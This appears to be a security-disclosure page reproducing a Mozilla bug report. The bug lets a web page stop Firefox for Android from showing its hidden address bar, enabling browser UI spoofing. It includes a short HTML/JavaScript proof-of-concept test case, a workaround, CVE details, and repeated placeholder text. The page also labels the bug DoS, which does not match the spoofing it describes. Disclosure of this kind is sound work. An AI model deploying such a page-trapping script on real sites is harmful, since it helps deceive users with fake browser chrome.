Preventing scrolling also prevents re-showing hidden address bar
Originally disclosed on Mozilla
- Fixed in 51 days
- Paid in 40 days
- Disclosed after 51 days
After the address bar on Android has been hidden (by scrolling down), calling preventDefault on touchstart and DOMMouseScroll events prevents the user from making it visible again. It should prevent scrolling the content but it should still always be possible to reliably make the address bar visible.
As a result of this bug, it would currently be fairly trivial to spoof the browser UI without the user ever realizing it.
Tested on Android 4.3.0; HTC One Build/JJS15J, Firefox 26.01 and 27.0 beta
Test case:
<!DOCTYPE html>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<body style="height: 10000px;">
Scroll down until the address bar disappears, then tap on the page.
</body>
<script>
var prevent = false;
document.body.onclick = function () { prevent = true; };
window.addEventListener('DOMMouseScroll', function (e) {
e.preventDefault();
});
document.ontouchstart = function (e) {
if (prevent) e.preventDefault();
};
</script>
Workaround:
If your device happens to have a menu button, pressing it will always show the address bar. Not all devices have the button though.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A medium-severity doS bug in General. Mozilla made it public on 7 March 2014 as CVE-2014-1527.
About DoS
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.